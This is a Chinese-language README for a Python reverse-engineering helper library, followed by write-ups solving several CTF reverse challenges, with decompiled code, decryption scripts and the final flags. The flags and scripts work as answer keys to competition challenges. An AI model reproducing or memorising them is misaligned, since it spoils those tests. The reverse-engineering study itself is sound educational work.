基础的Reverse下的爆破函数,通过检测解密后文本是否含有flag(可以进行修改),且解密后均为明文,来进行反向爆破,并还原出解密链。
本函数可以进行定制化扩展,由于特殊的模块化设计,可以自己手写一些常见算法,并在这些算法中爆破。
未来的话,这个函数可能会写成Cython实现的,用来加速爆破进程。

使用例

from regadgets import *

raw = list(b'flag{124214782134798217}')

for i in range(len(raw)):
    raw[i] ^= 114
    raw[i] += 514
    raw[i] ^= 810
    raw[i] &= 0xff

rg_brute_forcer(raw, 3)
'''
尝试深度 1 的解密...
[失败] 没有在深度 1 找到解密方案,用时 0.003998994827270508秒
尝试深度 2 的解密...
[失败] 没有在深度 2 找到解密方案,用时 2.940094470977783秒
尝试深度 3 的解密...
找到正确解密链: [('xor_decrypt', 20), ('mod_add_decrypt', 2), ('xor_decrypt', 76)]
解密结果: b'flag{124214782134798217}'
[成功] 在深度 3 找到解密方案,用时 59.33841252326965秒
'''

regadgets.crypto

regadgets.crypto.aes

标准的AES实现,根据比赛可以进行手动魔改。

regadgets.crypto.blowfish

标准的blowfish实现,根据比赛可以进行手动魔改。

regadgets.crypto.rc4

提供rc4_init, rc4_crypt, rc4_keystream三个函数,在init的时候返回S盒,crypt的时候提供s盒和data用于加密,keystream函数可以只返回S盒生成的key长度,可以手动指定box_size,因为在 BaseCTF2024 出了一个 S盒大小128的题目。

regadgets.crypto.bxors

提供了相关的XOR实现,比如 x_0 ^ x_1, x_1 ^ x_2, x_2 ^ x_3, ..... , x_(n-1) ^ x_n, x_n (我们称之为向右异或,bxorr)的加密解密。
除此之外,还提供了bxor(用于将两个等长的bytes | list进行互相异或)。
最常用的是,bxor_cycle,用于将第一个参数进行循环异或第二个参数(bytes | list)
一个常用的例子

# 对于一个数组循环异或 b'my_key'
enc = [...]
raw = bxor_cycle(enc, b'my_key')
# 对于一个数组进行异或 0xEE
raw = bxor_cycle(enc, b'\xee')
# 对于一个数组进行异或循环变量 i
raw = bxor_cycle(enc, range(len(enc)))

regadgets.crypto.tea / xtea / xxtea

用 python ctypes 实现的 TEA族加密。可以自行指定 delta / rounds, 对于xxtea可以指定很多参数,甚至是shift函数,具体请见其他题解。

regadgets.trans

用于S盒之类的变换

regadgets.trans.sbox

提供了 generate_sboxsbox_transform 两个函数。
如例题

from regadgets import *
from hashlib import md5
str1 = [0x28, 0x5F, 0x40, 0x34, 0x36, 0x32, 0x30, 0x21, 0x30, 0x38, 0x21, 0x36, 0x5F, 0x30, 0x2A, 0x30, 0x34, 0x34, 0x32, 0x21, 0x40, 0x31, 0x38, 0x36, 0x25, 0x25, 0x30, 0x40, 0x33, 0x3D,
        0x36, 0x36, 0x21, 0x21, 0x39, 0x37, 0x34, 0x2A, 0x33, 0x32, 0x33, 0x34, 0x3D, 0x26, 0x30, 0x5E, 0x33, 0x26, 0x31, 0x40, 0x3D, 0x26, 0x30, 0x39, 0x30, 0x38, 0x21, 0x36, 0x5F, 0x30, 0x2A, 0x26]
str2 = [0x35, 0x35, 0x35, 0x36, 0x35, 0x36, 0x35, 0x33, 0x32, 0x35, 0x35, 0x35, 0x35, 0x32, 0x32, 0x32, 0x35, 0x35, 0x36, 0x35, 0x35, 0x36, 0x35, 0x35, 0x35, 0x35, 0x32, 0x34, 0x33, 0x34,
        0x36, 0x36, 0x33, 0x33, 0x34, 0x36, 0x35, 0x33, 0x36, 0x36, 0x33, 0x35, 0x34, 0x34, 0x34, 0x32, 0x36, 0x35, 0x36, 0x35, 0x35, 0x35, 0x35, 0x35, 0x32, 0x35, 0x35, 0x35, 0x35, 0x32, 0x32, 0x32]
xxx = [0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F,
       0x50, 0x7B, 0x7D, 0x61, 0x73, 0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x41, 0x53, 0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x5A, 0x58, 0x43, 0x56, 0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x7A, 0x78, 0x63, 0x76, 0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F]
r = []
for i in range(62):
    a = xxx.index(str1[i])
    b = xxx.index(str2[i])
    r.append(b * 23 + a)
# private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)
print(bytes(r))

# 手动转换一下 查表
r = b'?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z'

###### 从这里开始是S盒变换
data_from = b'abcdefghijklmnopqrstuvwxyz12345'
data_to = b'pqhrsidtujvwkebxylz1mf23n45ogca'
_, ibox = generate_sbox(data_from, data_to)
r = sbox_transform(r, ibox)

print(bytes(r))
print(f"flag{{{md5(bytes(r)).hexdigest()}}}")
# flag{63b148e750fed3a33419168ac58083f5}

regadgets.utils

regadgets.utils.z3util

目前只有z3_get_models,用于获取Z3的Solver的所有解。

ez_cython

from regadgets import *
ans = [4108944556, 3404732701, 1466956825, 788072761, 1482427973, 782926647, 
       1635740553, 4115935911, 2820454423, 3206473923, 1700989382, 2460803532,
       2399057278, 968884411, 1298467094, 1786305447, 3953508515, 2466099443,
       4105559714, 779131097, 288224004, 3322844775, 4122289132, 2089726849, 
       656452727, 3096682206, 2217255962, 680183044, 3394288893, 697481839, 
       1109578150, 2272036063]

def xxtea_sctf2024_shift(z, y, sum, k, p, debug = False):
    e = (sum.value >> 3) & 3
    PE = (p & 2) ^ e
    Ly = y.value << 3
    Ry = y.value >> 4
    Lz = z.value << 2
    Rz = z.value >> 3 

    LzRy = Rz ^ Ly
    LyRz = Ry ^ Lz
    SY = sum.value ^ y.value
    K = k[PE].value
    KZ = K ^ z.value
    result = (LzRy + LyRz) ^ (KZ + SY)
    return result
        
key = [0x53, 0x79, 0x43, 0x31] # Syc1

dec = xxtea_decrypt(ans, key, delta=0x9e3779b9, round_base=4, round_addi=60, shift_func=xxtea_sctf2024_shift)
print(bytes(dec))
# b'SCTF{w0w_y0U_wE1_kNOw_of_cYtH0N}'

BBox

Android
超绝一键apk混淆捏

const char *__fastcall Java_com_example_bbandroid_MainActivity_checkFlag(_JNIEnv *a1, __int64 a2, __int64 a3)
{
  time_t v5; // w22
  const char *result; // x0
  const char *v7; // x21
  unsigned int v8; // w23
  signed int v9; // w22
  __int64 v10; // x19
  __int64 v11; // x20
  char *v12; // x22
  char v13; // w0
  int v14; // w9
  signed int v15; // w8
  unsigned __int64 v16; // x10
  unsigned __int64 v17; // x11
  int v18; // w12
  int v19; // w13
  char flag[256]; // [xsp+8h] [xbp-108h] BYREF
  __int64 v21; // [xsp+108h] [xbp-8h]

  v21 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
  v5 = time(0LL);
  result = (const char *)((__int64 (__fastcall *)(_JNIEnv *, __int64, _QWORD))a1->functions->GetStringUTFChars)(
                           a1,
                           a3,
                           0LL);
  if ( result )
  {
    v7 = result;
    v8 = v5 / 1000000 / 100;
    strncpy(flag, result, 0xFFu);
    flag[255] = 0;
    v9 = __strlen_chk(flag, 0x100u);
    ((void (__fastcall *)(_JNIEnv *, __int64, const char *))a1->functions->ReleaseStringUTFChars)(a1, a3, v7);
    srand(v8);
    if ( v9 >= 4 )
    {
      v10 = 0LL;
      v11 = (unsigned int)v9 >> 2;
      do
      {
        v12 = &flag[4 * v10];
        *v12 ^= rand();
        v12[1] ^= rand();
        v12[2] ^= rand();
        v13 = rand();
        v14 = 32;
        v12[3] ^= v13;
        v15 = *(_DWORD *)v12;
        do
        {
          if ( v15 >= 0 )
            v15 *= 2;
          else
            v15 = (2 * v15) ^ 0x85B6874F;
          --v14;
        }
        while ( v14 );
        *(_DWORD *)&flag[4 * v10++] = v15;
      }
      while ( v10 != v11 );
    }
    if ( flag[0] == '3' )
    {
      v16 = 0LL;
      do
      {
        v17 = v16;
        if ( v16 == 0x27 )
          break;
        v18 = (unsigned __int8)flag[v16 + 1];
        v19 = dword_B14[++v16];
      }
      while ( v18 == v19 );
      return (const char *)(v17 > 0x26);
    }
    else
    {
      return 0LL;
    }
  }
  return result;
}

Exp

from regadgets import *
from z3 import *
from copy import deepcopy
enc =  [0x33, 0xC0, 0xC8, 0xA3, 0xF3, 0xBF, 0x1D, 0x1A, 0x3B, 0x41, 
  0xB7, 0xC6, 0xF1, 0x5E, 0x86, 0x52, 0x52, 0xCF, 0x6B, 0x1E, 
  0xC5, 0xF9, 0xCB, 0xBF, 0xED, 0x7B, 0x62, 0xF1, 0xF7, 0x43, 
  0x48, 0x54, 0xFB, 0x85, 0x4C, 0xD9, 0x35, 0x30, 0xF2, 0x6E]
print(bytes(enc))
dw = byte2dword(enc)

print(dw)
s = Solver()
x = [BitVec(f"x{i}", 32) for i in range(len(dw))]
y = deepcopy(x)
for i in range(len(dw)):
    for j in range(32):
        x[i] = If(LShR(x[i], 31) == 1, 2*x[i] ^ 0x85b6874f, 2*x[i])
    s.add(x[i] == dw[i])
print(s.check())
m = s.model()
r = []
for i in y:
    r.append(m[i].as_long())
print(r)
randv = [0x49308bb9,0x3cb3ad,0xfb4e87f,0x75655103,0x6d505b9f,0x1d20580f,
         0xdcf4af1,0x3e381967,0x54bcf579,0x73c09db7,0x501b2039,0x1b8950dd,
         0x23e73393,0x2b480a88,0x6818cdae,0x61d009ea,0x44c0c5b0,0x385aff3d,
         0x5cfb2a7a,0x587f9c07,0x158172f2,0x4d334c89,0x302b76e5,0x5e17f434,
         0x692de923,0x806d155,0x3d2c61d8,0x1d09ef4e,0x7c3d83b7,0x1d7621da,
         0x2dc0a3ec,0x456e0f71,0x1db2d588,0x3d758c6c,0x3ad36074,0xb033127,0x5a95e47b,0x48a2ab65,0x493b4a8e,0x2f52d9f5 ]
randv = [i & 0xff for i in randv]

v1 = bxor(dword2byte(r)[:len(enc)], bytes(randv)[:len(enc)])
v2 = bxor_cycle(v1, b'\x1e').decode()
print(decode_b64(v2, "nopqrstDEFGHIJKLhijklUVQRST/WXYZabABCcdefgmuv6789+wxyz012345MNOP"))
# b'Y0u_@re_r1ght_r3ver53_is_easy!'

其中 randv 是通过hook得到的rand()的结果。中间是一个不安全的CRC。

easyMCU

我自认为这是一个逆向题目,所以把它放到了Reverse下。
首先,使用010Editor,打开mcu.s19,发现它直接自动给我转hex了,我们Ctrl+S保存到文件即可。
隔壁队伍使用的是bincopy convert mcu.s19 -o binary out.bin进行的转换,也是一种方法。

通过图片中的TriCore,我们可以知道固件是Tri
经过翻找,我们找到关键代码


/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined4 FUN_80000690(void)

{
  byte bVar1;
  bool bVar2;
  uint uVar3;
  undefined4 uVar4;
  int i;
  
  bVar2 = FUN_8000125a(0x6000009c,(undefined *)0x60000004,(short *)0x60000000,_DAT_80003990,
                       iRam80003994);
  if (bVar2) {
    AES_ENCRYPT(0x60000004,-0x7fffc65d,0x6000007c,0x20);
    for (i = 0; i < 0x20; i += 1) {
      uVar3 = rol((uint)*(byte *)(i + 0x6000007c),3);
      *(char *)(i + 0x6000007c) = (char)uVar3;
      bVar1 = bRam6000007c;
      if (i < 0x1f) {
        bVar1 = *(byte *)(i + 0x6000007d);
      }
      *(byte *)(i + 0x6000007c) = bVar1 ^ *(byte *)(i + 0x6000007c);
      *(byte *)(i + 0x6000007c) = *(byte *)(i + 0x6000007c) ^ 0xff;
    }
    FUN_80001278((int *)0x6000009c,(undefined *)0x6000007c,(short *)0x60000000,_DAT_80003990,
                 iRam80003994);
    uVar4 = 0;
  }
  else {
    uVar4 = 0xffffffff;
  }
  return uVar4;
}


void AES_ENCRYPT(int param_1,int param_2,int param_3,uint param_4)

{
  uint uVar1;
  undefined8 auStack_c0 [2];
  undefined key [176];
  
  FUN_800002b0(param_2,(int)key);
  for (uVar1 = 0; uVar1 < param_4; uVar1 += 0x10) {
    FUN_80003782(auStack_c0,(undefined8 *)(param_1 + uVar1),0x10);
    aes((int)auStack_c0,(int)key);
    FUN_80003782((undefined8 *)(param_3 + uVar1),auStack_c0,0x10);
  }
  return;
}


void AES_ENCRYPT(int param_1,int param_2,int param_3,uint param_4)

{
  uint uVar1;
  undefined8 auStack_c0 [2];
  undefined key [176];
  
  FUN_800002b0(param_2,(int)key);
  for (uVar1 = 0; uVar1 < param_4; uVar1 += 0x10) {
    FUN_80003782(auStack_c0,(undefined8 *)(param_1 + uVar1),0x10);
    aes((int)auStack_c0,(int)key);
    FUN_80003782((undefined8 *)(param_3 + uVar1),auStack_c0,0x10);
  }
  return;
}

写出EXP。

from regadgets import *
enc = bytes.fromhex('63 D4 DD 72 B0 8C AE 31 8C 33 03 22 03 1C E4 D3 C3 E3 54 B2 1D EB EB 9D 45 B1 BE 86 CD E9 93 D8')
print(len(enc))
key = [ 0x2e, 0x35, 0x7d, 0x6a, 0xed, 0x44, 0xf3, 0x4d, 0xad, 0xb9, 0x11, 0x34, 0x13, 0xea, 0x32, 0x4e ]
enc = list(enc)
for i in range(len(enc)):
    enc[31-i] ^= 0xff
    enc[31-i] ^= enc[(32-i) % 32]
    enc[31-i] = ror8(enc[31-i], 3)

aes = AES(key)
dec = aes.decrypt_ecb_block(enc[:16]) + aes.decrypt_ecb_block(enc[16:])
print(dec) # b'SCTF{Wlc_t0_the_wd_oF_IOT_s3cur}'

ez_rust

x64dbg开调,搜that's,找到一块
spatchEvent(new Event("input")))}const ln=Symbol("_assign"),zi={created(e,{modifiers:{lazy:t,trim:n,number:s}},r){e[ln]=ws(r);const o=s||r.props&&r.props.type==="number";We(e,t?"change":"input",i=>{if(i.target.composing)return;let c=e.value;n&&(c=c.trim()),o&&(c=cn(c)),e[ln](c)}),n&&We(e,"change",()=>{e.value=e.value.trim()}),t||(We(e,"compositionstart",qi),We(e,"compositionend",Cs),We(e,"change",Cs))},mounted(e,{value:t}){e.value=t??""},beforeUpdate(e,{value:t,modifiers:{lazy:n,trim:s,number:r}},o){if(e[ln]=ws(o),e.composing)return;const i=r||e.type==="number"?cn(e.value):e.value,c=t??"";i!==c&&(document.activeElement===e&&e.type!=="range"&&(n||s&&e.value.trim()===c)||(e.value=c))}},Ji=["ctrl","shift","alt","meta"],Yi={stop:e=>e.stopPropagation(),prevent:e=>e.preventDefault(),self:e=>e.target!==e.currentTarget,ctrl:e=>!e.ctrlKey,shift:e=>!e.shiftKey,alt:e=>!e.altKey,meta:e=>!e.metaKey,left:e=>"button"in e&&e.button!==0,middle:e=>"button"in e&&e.button!==1,right:e=>"button"in e&&e.button!==2,exact:(e,t)=>Ji.some(n=>e[`${n}Key`]&&!t.includes(n))},Qi=(e,t)=>{const n=e._withMods||(e._withMods={}),s=t.join(".");return n[s]||(n[s]=(r,...o)=>{for(let i=0;i<t.length;i++){const c=Yi[t[i]];if(c&&c(r,t))return}return e(r,...o)})},Xi=Y({patchProp:Wi},Ii);let Os;function Zi(){return Os||(Os=ri(Xi))}const ki=(...e)=>{const t=Zi().createApp(...e),{mount:n}=t;return t.mount=s=>{const r=tl(s);if(!r)return;const o=t._component;!A(o)&&!o.render&&!o.template&&(o.template=r.innerHTML),r.innerHTML="";const i=n(r,!1,el(r));return r instanceof Element&&(r.removeAttribute("v-cloak"),r.setAttribute("data-v-app","")),i},t};function el(e){if(e instanceof SVGElement)return"svg";if(typeof MathMLElement=="function"&&e instanceof MathMLElement)return"mathml"}function tl(e){return z(e)?document.querySelector(e):e}const nl=ve("button",{type:"submit"},"go!",-1),sl={__name:"Greet",setup(e){const t=ts(""),n=ts("");function s(o,i="secret"){for(var c="",u=i.length,d=0;d<o.length;d++){var h=o.charCodeAt(d),x=i.charCodeAt(d%u),w=h^x;c+=String.fromCharCode(w)}return c}async function r(){if(n.value===""){t.value="Please enter a name.";return}btoa(s(n.value))==="JFYvMVU5QDoNQjomJlBULSQaCihTAFY="?t.value="Great, you got the flag!":t.value="No, that's not my name."}return(o,i)=>(mr(),br(ge,null,[ve("form",{class:"row",onSubmit:Qi(r,["prevent"])},[Mo(ve("input",{id:"greet-input","onUpdate:modelValue":i[0]||(i[0]=c=>n.value=c),placeholder:"Enter a name..."},null,512),[[zi,n.value]]),nl],32),ve("p",null,Nr(t.value),1)],64))}},rl=(e,t)=>{const n=e.__vccOpts||e;for(const[s,r]of t)n[s]=r;return n},Kn=e=>(bo("data-v-bacdabd6"),e=e(),yo(),e),ol={class:"container"},il=Kn(()=>ve("h1",null,"Welcome to L3HCTF!",-1)),ll=Kn(()=>ve("p",null,"Hope you have a good time playing.",-1)),cl=Kn(()=>ve("p",null,"Now please tell me a name.",-1)),fl={__name:"App",setup(e){return(t,n)=>(mr(),br("div",ol,[il,ll,cl,Ae(sl)]))}},ul=rl(fl,[["__scopeId","data-v-bacdabd6"]]);ki(ul).mount("#app");
分析可知,"JFYvMVU5QDoNQjomJlBULSQaCihTAFY=" == base64_encode(bxor_cycle(input,b'secret'))
L3HCTF{W3LC0M3_n0_RU57_AnyM0r3}

babycom

x64dbg附加,注意到中途主程序会往外写一个com(从资源里面读取)。
注意到是babycom.dll,我们直接断输入的字符串,发现进去后是一个xtea
xtea参数:
key=EA 3E D4 1C 70 CB D7 47 98 5E CA DB 53 0C 39 2B
delta=0x114514
round=32
然后经过对比发现是一个标准的。
2024-09-25T09:52:54.png
继续往下分析,xtea之后还有一个加密。
用了一个Bcrypt的加密,调API就可以解密。

#include <iostream>
#include <Windows.h>
int main()
{
    HCRYPTPROV phProv;
    HCRYPTHASH phHash;
    HCRYPTKEY phKey;
    const BYTE key[] = {
        0xEA, 0x3E, 0xD4, 0x1C, 0x70, 0xCB, 0xD7, 0x47, 0x98, 0x5E, 0xCA, 0xDB, 0x53, 0x0C, 0x39, 0x2B
    };

    const BYTE MultiByteStr[] = {0xb, 0xaf, 0x51, 0x21, 0x9c, 0x52, 0x10, 0x89,
                    0x3f, 0x2c, 0x34, 0x30, 0x87, 0x13, 0xc1, 0x4c,
                    0xc1, 0x7f, 0x81, 0x6e, 0xba, 0xbd, 0xdf, 0x43,
                    0x1a, 0xf0, 0xd7, 0xde, 0x8e, 0x66, 0xb9, 0x7c };
    DWORD pdwDataLen = 32;
    if (CryptAcquireContextA(&phProv, 0LL, 0LL, 0x18u, 0xF0000000)
        && CryptCreateHash(phProv, 32771u, 0LL, 0, &phHash)
        && CryptHashData(phHash, key, 0x10u, 0)
        && CryptDeriveKey(phProv, 0x660Eu, phHash, 1u, &phKey))
    {
        CryptDecrypt(phKey, 0LL, 0, 0, (BYTE*)MultiByteStr, &pdwDataLen);
    }
    return 0;
/* Decrypted
2a b4 c1 74 d6 59 aa 05 73 10 7f 9c 40 49 99 62
3c 84 51 8f 3f 37 ab f1 0e fe 61 96 45 ad 41 6a
*/
}

综上所述

from regadgets import *
encc = pack_dword(byte2dword(bytes.fromhex("""
2a b4 c1 74 d6 59 aa 05 73 10 7f 9c 40 49 99 62
3c 84 51 8f 3f 37 ab f1 0e fe 61 96 45 ad 41 6a
""")))
key = byte2dword(b"\xEA\x3E\xD4\x1C\x70\xCB\xD7\x47\x98\x5E\xCA\xDB\x53\x0C\x39\x2B")
r = b''
for i in encc:
    result = xtea_decrypt(i, key, delta=0x114514, rounds=32)
    r += dword2byte(list(result))
print(r)
# L3HCTF{C0M_Th3C0d3_1s_FuN!!!!!!}

丢一个Ctypes版本的(纯python解决)

from regadgets import *
from ctypes import *
lib_advapi32 = windll.LoadLibrary('advapi32.dll')
pfunc_CryptAcquireContextA = lib_advapi32.CryptAcquireContextA
pfunc_CryptCreateHash = lib_advapi32.CryptCreateHash
pfunc_CryptHashData = lib_advapi32.CryptHashData
pfunc_CryptDeriveKey = lib_advapi32.CryptDeriveKey
pfunc_CryptDecrypt = lib_advapi32.CryptDecrypt
phProv = c_uint64(0)
phHash = c_uint64(0)
phKey = c_uint64(0)
pdwDataLen = c_uint32(32)
if pfunc_CryptAcquireContextA(pointer(phProv), 0, 0, 0x18, 0xF0000000) == 0:
    print("failed 0")
    exit(0)
if pfunc_CryptCreateHash(phProv, 32771, 0, 0, pointer(phHash)) == 0:
    print("failed 1")
    exit(0)
key = b"\xEA\x3E\xD4\x1C\x70\xCB\xD7\x47\x98\x5E\xCA\xDB\x53\x0C\x39\x2B"
if pfunc_CryptHashData(phHash, create_string_buffer(key), 0x10, 0) == 0:
    print("failed 2")
    exit(0)
if pfunc_CryptDeriveKey(phProv, 0x660E, phHash, 1, pointer(phKey)) == 0:
    print("failed 3")
    exit(0)

correct = b"\x0B\xAF\x51\x21\x9C\x52\x10\x89\x3F\x2C\x34\x30\x87\x13\xC1\x4C\xC1\x7F\x81\x6E\xBA\xBD\xDF\x43\x1A\xF0\xD7\xDE\x8E\x66\xB9\x7C"
buf = create_string_buffer(correct)
pfunc_CryptDecrypt(phKey, 0, 0, 0, buf, pointer(pdwDataLen))

encc = pack_dword(byte2dword(buf.raw), padding=True)
r = b''
for i in encc:
    result = xtea_decrypt(i, byte2dword(key), delta=0x114514, rounds=32)
    r += dword2byte(list(result))
print(r)

# b'L3HCTF{C0M_Th3C0d3_1s_FuN!!!!!!}\xa0\xbf\xbc\xcf>\xb1\x194'